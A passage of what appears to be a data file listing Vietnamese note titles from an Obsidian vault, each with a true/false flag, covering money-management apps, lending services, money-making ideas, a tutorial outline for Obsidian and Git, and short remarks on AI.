tiền", + "3 Tính năng", + "Khả năng tích hợp", + "Không sao chép được dễ dàng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Khả năng tích hợp", + "Sao chép kết quả sang chương trình khác được" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Khả năng tích hợp", + "Tích hợp được với ngân hàng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Khả năng tích hợp", + "Xuất được kết quả ra dạng bảng tính" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Khả năng tích hợp", + "Xuất được kết quả ra dạng văn bản thuần" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Nhận diện typo" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Số lượng trường phân loại", + "Chỉ có vài trường cơ bản" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "3 Tính năng", + "Số lượng trường phân loại", + "Thêm được nhiều trường phân loại" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "4 Loại chương trình", + "Chương trình ghi chép thu chi cá nhân" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "4 Loại chương trình", + "Chương trình kế toán" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "4 Loại chương trình", + "Chương trình phân loại dữ liệu tự động" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "4 Loại chương trình", + "Chương trình tài liệu động" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "4 Loại chương trình", + "Plugin cho phần mềm khác" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "4 Loại chương trình", + "Template thu chi trên Excel" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "5 Tên chương trình", + "App quản lý chi tiêu", + "Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "5 Tên chương trình", + "App quản lý chi tiêu", + "Maybe finance" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "5 Tên chương trình", + "App quản lý chi tiêu", + "Momo" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "5 Tên chương trình", + "App quản lý chi tiêu", + "MoneyLover" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "5 Tên chương trình", + "App quản lý chi tiêu", + "PiPu" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "5 Tên chương trình", + "figr" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "5 Tên chương trình", + "Kế toán", + "Beancount" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "5 Tên chương trình", + "Kế toán", + "Misa" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "5 Tên chương trình", + "SaveDi" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "5 Tên chương trình", + "Soulver" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "5 Tên chương trình", + "Trấn Kỳ (quang cảnh thị trường)" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Chương trình quản lý tiền", + "Bất cập của các app quản lý tiền hiện có" +] + +🚀: true +[ "", "📜Tài nguyên", "Chương trình quản lý tiền" ] + +🚀: true +[ + "", + "📜Tài nguyên", + "Các dịch vụ cho vay", + "App vay nóng không cần điểm tín dụng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Các dịch vụ cho vay", + "App vay nóng không cần điểm tín dụng", + "Cayvang" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Các dịch vụ cho vay", + "App vay nóng không cần điểm tín dụng", + "Moneyveo" +] + +🚀: true +[ "", "📜Tài nguyên", "Các dịch vụ cho vay" ] + +🚀: false +[ "", "📜Tài nguyên", "Các dịch vụ cho vay", "TNEX" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Các dịch vụ cho vay", + "Vì người yếu thế", + "CEP" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Các dịch vụ cho vay", + "Vì người yếu thế", + "Ngân hàng chính sách xã hội" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Các dịch vụ cho vay", + "Vì người yếu thế", + "Quỹ Tình Thân" +] + +🚀: false +[ "", "📜Tài nguyên", "Quà tặng", "Bảo hiểm nhân thọ" ] + +🚀: false +[ "", "📜Tài nguyên", "Quà tặng", "Tặng đồ, thức ăn" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "1 Yêu cầu đầu vào", + "Có xe máy" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "1 Yêu cầu đầu vào", + "Không tốn diện tích" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "1 Yêu cầu đầu vào", + "Theo kiến thức, kỹ năng", + "Biết cách ẩn danh" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "1 Yêu cầu đầu vào", + "Theo kiến thức, kỹ năng", + "Biết lập trình" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "1 Yêu cầu đầu vào", + "Theo kiến thức, kỹ năng", + "Có tên tuổi, uy tín, chứng nhận" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "1 Yêu cầu đầu vào", + "Theo kiến thức, kỹ năng", + "Hiểu về hệ thống" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "1 Yêu cầu đầu vào", + "Theo nguyên liệu, nguồn thông tin", + "Có nguồn nguyên liệu lớn với giá rẻ" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "1 Yêu cầu đầu vào", + "Theo nguyên liệu, nguồn thông tin", + "Có nhiều tài khoản hoặc thẻ ngân hàng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "1 Yêu cầu đầu vào", + "Theo nguyên liệu, nguồn thông tin", + "Nắm được nhu cầu doanh nghiệp" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "1 Yêu cầu đầu vào", + "Theo thời gian", + "Sắp xếp theo lịch được cho trước" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "1 Yêu cầu đầu vào", + "Theo thời gian", + "Thỉnh thoảng lên công ty" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "1 Yêu cầu đầu vào", + "Theo tính chất công việc", + "Làm ngoài đường" +] + +🚀: false +[ "", "📜Tài nguyên", "Ý tưởng kiếm tiền", "1 Yêu cầu đầu vào", "Vốn" ] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "2 Hình thức", + "Chia sẻ, đào tạo, huấn luyện" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "2 Hình thức", + "Gia công giải pháp" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "2 Hình thức", + "Kiếm người cho tiền" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "2 Hình thức", + "Tự kinh doanh, đầu tư" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "2 Hình thức", + "Việc làm thời vụ, theo dự án" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "2 Hình thức", + "Vị trí chính thức của một công ty" +] + +🚀: true +[ "", "📜Tài nguyên", "Ý tưởng kiếm tiền", "3 Ý tưởng" ] + +🚀: true +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện", + "Huấn luyện lập trình 1-1" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện", + "Hướng dẫn tìm hiểu các lĩnh vực" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Công việc thời vụ", + "Chạy sự kiện, hậu cần, truyền thông, shipper, telesale, BPO" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Công việc thời vụ", + "Cộng tác viên cho nhân viên công ty", + "Quét mã chéo" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Công việc thời vụ", + "Cộng tác viên cho nhân viên công ty", + "Viết hợp đồng, thu thập thông tin" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Công việc thời vụ", + "Cộng tác viên cho nhân viên công ty", + "Đổi tiền, chụp hình biển hiệu, dán mã QR" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Công việc thời vụ", + "Học làm đại lý bán bảo hiểm" +] + +🚀: true +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Công việc thời vụ", + "Làm nhân viên ảo" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Công việc thời vụ", + "Lừa đảo hội lừa đảo" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Công việc thời vụ", + "Săn khảo sát, phỏng vấn người dùng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Gia công giải pháp", + "Gom lịch vào Google Calendar" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Gia công giải pháp", + "Kết nối nhu cầu di chuyển của người khuyết tật" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Gia công giải pháp", + "Tạo báo cáo tiếp thị quản lý được theo từng cấp" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Gia công giải pháp", + "Viết plugin tích hợp vào các chương trình kế toán" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Gia công giải pháp", + "Xây dựng hệ thống quản lý" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Tự kinh doanh, đầu tư", + "Buôn bán nhỏ" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Tự kinh doanh, đầu tư", + "Bán phần mềm", + "Bán bộ sưu tập từ điển chuyên ngành" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Tự kinh doanh, đầu tư", + "Bán phần mềm", + "Bán bộ thẻ học GRE cho Anki" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Tự kinh doanh, đầu tư", + "Bán số lượng lớn tự động trên các nền tảng" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Tự kinh doanh, đầu tư", + "Cho vay lấy lãi" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Tự kinh doanh, đầu tư", + "Nhóm chuyên chạy chỉ tiêu cho nhân viên các công ty" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Tự kinh doanh, đầu tư", + "Tạo SaaS", + "Làm web phim lậu" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Tự kinh doanh, đầu tư", + "Tạo SaaS", + "Viết app quản lý chi tiêu cá nhân" +] + +🚀: false +[ + "", + "📜Tài nguyên", + "Ý tưởng kiếm tiền", + "3 Ý tưởng", + "Tự kinh doanh, đầu tư", + "Xem tử vi tự động" +] + +🚀: true +[ "", "📜Tài nguyên", "Ý tưởng kiếm tiền" ] + +🚀: false +[ "", "Kiến trúc", "Hanoi Ad Hoc" ] + +🚀: true +[ "", "⚔️ Hướng dẫn Obsidian và Git", "1 Làm quen với Obsidian" ] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "1 Làm quen với Obsidian", + "1.1 Tạo vault mới" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "1 Làm quen với Obsidian", + "1.2 Tạo ghi chú và thư mục mới" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "1 Làm quen với Obsidian", + "1.3 Tạo liên kết" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "1 Làm quen với Obsidian", + "1.4 Xem và chỉnh sửa nội dung" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "1 Làm quen với Obsidian", + "1.5 Định dạng chữ" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "1 Làm quen với Obsidian", + "1.6 Tìm hiểu tự do" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "1 Làm quen với Obsidian", + "➕ Nhiệm vụ bổ trợ", + "Bật sidebar" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "1 Làm quen với Obsidian", + "➕ Nhiệm vụ bổ trợ", + "Chèn ảnh. Chèn đoạn văn từ ghi chú khác" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "1 Làm quen với Obsidian", + "➕ Nhiệm vụ bổ trợ", + "Khám phá canvas" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "1 Làm quen với Obsidian", + "➕ Nhiệm vụ bổ trợ", + "Mở bảng lệnh" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "1 Làm quen với Obsidian", + "➕ Nhiệm vụ bổ trợ", + "Thu gọn" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "1 Làm quen với Obsidian", + "➕ Nhiệm vụ bổ trợ", + "Tạo tên phụ cho từng ghi chú" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "1 Làm quen với Obsidian", + "➕ Nhiệm vụ bổ trợ", + "Đổi giao diện" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "1 Làm quen với Obsidian", + "📖 Bài đọc thêm", + "📖 2 chế độ chỉnh sửa nội dung" +] + +🚀: true +[ "", "⚔️ Hướng dẫn Obsidian và Git", "2 Xây dựng dự án với plugin" ] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "2 Xây dựng dự án với plugin", + "2.1 Cài plugin" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "2 Xây dựng dự án với plugin", + "2.2 Tạo biến và dùng biến với (Dataview tập 1)" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "2 Xây dựng dự án với plugin", + "2.3 Truy vấn dữ liệu (Dataview tập 2)" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "2 Xây dựng dự án với plugin", + "2.4 Tạo mẫu ghi chú (Templater)" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "2 Xây dựng dự án với plugin", + "2.9 Tìm hiểu tự do" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "2 Xây dựng dự án với plugin", + "➕ Nhiệm vụ bổ trợ", + "2.2 Gán biến" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "2 Xây dựng dự án với plugin", + "➕ Nhiệm vụ bổ trợ", + "2.3 Dùng Project" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "2 Xây dựng dự án với plugin", + "➕ Nhiệm vụ bổ trợ", + "Dùng Database folder" +] + +🚀: true +[ "", "⚔️ Hướng dẫn Obsidian và Git", "4 Du hành thời gian với Git" ] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "4 Du hành thời gian với Git", + "4.1 Khám phá cây lịch sử" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "4 Du hành thời gian với Git", + "4.2 Cài đặt Git và GitKraken" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "4 Du hành thời gian với Git", + "4.3 Lưu dữ liệu mới (commit)" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "4 Du hành thời gian với Git", + "4.4 Mở dữ liệu cũ (checkout)" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "4 Du hành thời gian với Git", + "4.5 Tạo nhánh (branch)" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "4 Du hành thời gian với Git", + "4.6 Chuyển nhánh (switch)" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "4 Du hành thời gian với Git", + "4.7 Nhập nhánh (merge)" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "4 Du hành thời gian với Git", + "➕ Nhiệm vụ bổ trợ", + "Reset" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "4 Du hành thời gian với Git", + "📖 Bài đọc thêm", + "📖 Sử dụng plugin Obsidian Git" +] + +🚀: true +[ "", "⚔️ Hướng dẫn Obsidian và Git", "5 Làm việc cùng nhau" ] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "5 Làm việc cùng nhau", + "5.1 GitHub là gì" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "5 Làm việc cùng nhau", + "5.2 Tải mới toàn bộ kho dữ liệu (clone)" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "5 Làm việc cùng nhau", + "5.3 Đẩy dữ liệu mới lên (push)" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "5 Làm việc cùng nhau", + "5.4 Kéo dữ liệu mới xuống (pull)" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "5 Làm việc cùng nhau", + "Tại sao không dùng Syncthing mà phải dùng Git để đồng bộ dữ liệu" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "5 Làm việc cùng nhau", + "📖 Bài đọc thêm", + "Tài liệu đọc thêm về Git" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "5 Làm việc cùng nhau", + "📖 Bài đọc thêm", + "📖 Remote, upstream, origin" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "6 Lập web", + "GitHub Mkdocs Publisher" +] + +🚀: true +[ "", "⚔️ Hướng dẫn Obsidian và Git", "Các bài học nâng cao" ] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "Các bài học nâng cao", + "Viết plugin", + "1. Dùng plugin mẫu" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "Các bài học nâng cao", + "Viết plugin", + "2. Nhập môn TypeScript" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "Các bài học nâng cao", + "Viết plugin", + "📖 Nodejs và Electron" +] + +🚀: true +[ "", "⚔️ Hướng dẫn Obsidian và Git" ] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Obsidian lưu dữ liệu trên máy của người dùng" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Obsidian lưu dữ liệu ở định dạng đơn giản" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Văn bản thuần là dạng tổ chức dữ liệu đơn giản nhất" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Điểm mạnh của Obsidian", + "Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Điểm mạnh của Obsidian", + "Cộng đồng Obsidian rất mạnh" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Điểm mạnh của Obsidian", + "Khả năng tuỳ biến của Obsidian rất cao" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Điểm mạnh của Obsidian", + "Obsidian có thể tạo biến tại bất cứ vị trí nào trong ghi chú" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Điểm mạnh của Obsidian", + "Obsidian cực kỳ dễ mở rộng tính năng" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Điểm mạnh của Obsidian", + "Obsidian không gọi vốn để theo đúng định hướng của mình" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Điểm mạnh của Obsidian", + "Obsidian miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Điểm mạnh của Obsidian", + "Obsidian phù hợp cho các dự án nhỏ, không có nhiều tiền" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Điểm mạnh của Obsidian", + "Obsidian xem liên kết là công dân hạng nhất" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Điểm mạnh của Obsidian", + "Ý tưởng logo là cục đá đang được đẽo gọt, hàm ý ❝You shape your tools, and they shape you❞" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Điểm mạnh của Obsidian", + "Đồ thị giúp thấy được bức tranh tổng thể" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Điểm yếu của Obsidian", + "Obsidian khó tạo liên kết hai chiều được" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Điểm yếu của Obsidian", + "Obsidian không mạnh về quản lý tác vụ" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Điểm yếu của Obsidian", + "Obsidian không sử dụng dữ liệu dạng bảng" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Điểm yếu của Obsidian", + "Việc hợp tác qua mạng trên Obsidian tốt nhất là qua Git" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Mô tả về Obsidian", + "Đơn vị nhỏ nhất của Obsidian là file, không phải block" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo mục đích xây dựng vault", + "Chơi game" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo mục đích xây dựng vault", + "Kho dữ liệu cá nhân" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo mục đích xây dựng vault", + "Kho tài nguyên cộng đồng" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo mục đích xây dựng vault", + "Nghiên cứu" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo mục đích xây dựng vault", + "Quản lý cuộc sống cá nhân" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo mục đích xây dựng vault", + "Quản lý dự án" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo mục đích xây dựng vault", + "Quản lý mối quan hệ" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo tính năng của plugin", + "1. Ghi chú thông tin", + "Ghi chú trên YouTube" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo tính năng của plugin", + "2. Hệ thống hoá thông tin", + "Canvas" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo tính năng của plugin", + "2. Hệ thống hoá thông tin", + "Excalidraw" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo tính năng của plugin", + "3. Truy xuất thông tin", + "Tạo nút" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo tính năng của plugin", + "3. Truy xuất thông tin", + "Vẽ đồ thị" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo tính năng của plugin", + "4. Trình bày thông tin", + "Chèn bản đồ" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo tính năng của plugin", + "4. Trình bày thông tin", + "Kết nối dữ liệu với Trello, Notion, Discord" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo tính năng của plugin", + "4. Trình bày thông tin", + "Slide" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo tính năng của plugin", + "4. Trình bày thông tin", + "Tạo bảng" +] + +🚀: false +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo tính năng của plugin", + "4. Trình bày thông tin", + "Xuất bản trên web" +] + +🚀: true +[ + "", + "⚔️ Hướng dẫn Obsidian và Git", + "💎 Giới thiệu về Obsidian", + "Theo tính năng của plugin" +] + +🚀: true +[ "", "⚔️ Hướng dẫn Obsidian và Git", "💎 Giới thiệu về Obsidian" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Công nghệ mới đem lại thêm lựa chọn cho người làm chính sách" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "4 cấp độ phân tích dữ liệu – mô tả hiện tượng, lý giải nguyên nhân, dự đoán kết quả, đề xuất hành động" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI", + "AI giống như công nghệ tua bin. Gắn nó với xe hơi thì không sử dụng được. Nhưng nếu có thể có thêm những công nghệ mới thì có thể thành máy bay" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI", + "AI gần như không có khả năng tự sửa lỗi code" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI", + "AI không tất định mà tạo sinh kết quả mỗi lần mỗi khác dù với cùng một câu nhập" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI", + "AI là định dạng ảnh mờ của web" +] + +🚀: false +[ + "", + "⚡Hiểu biết 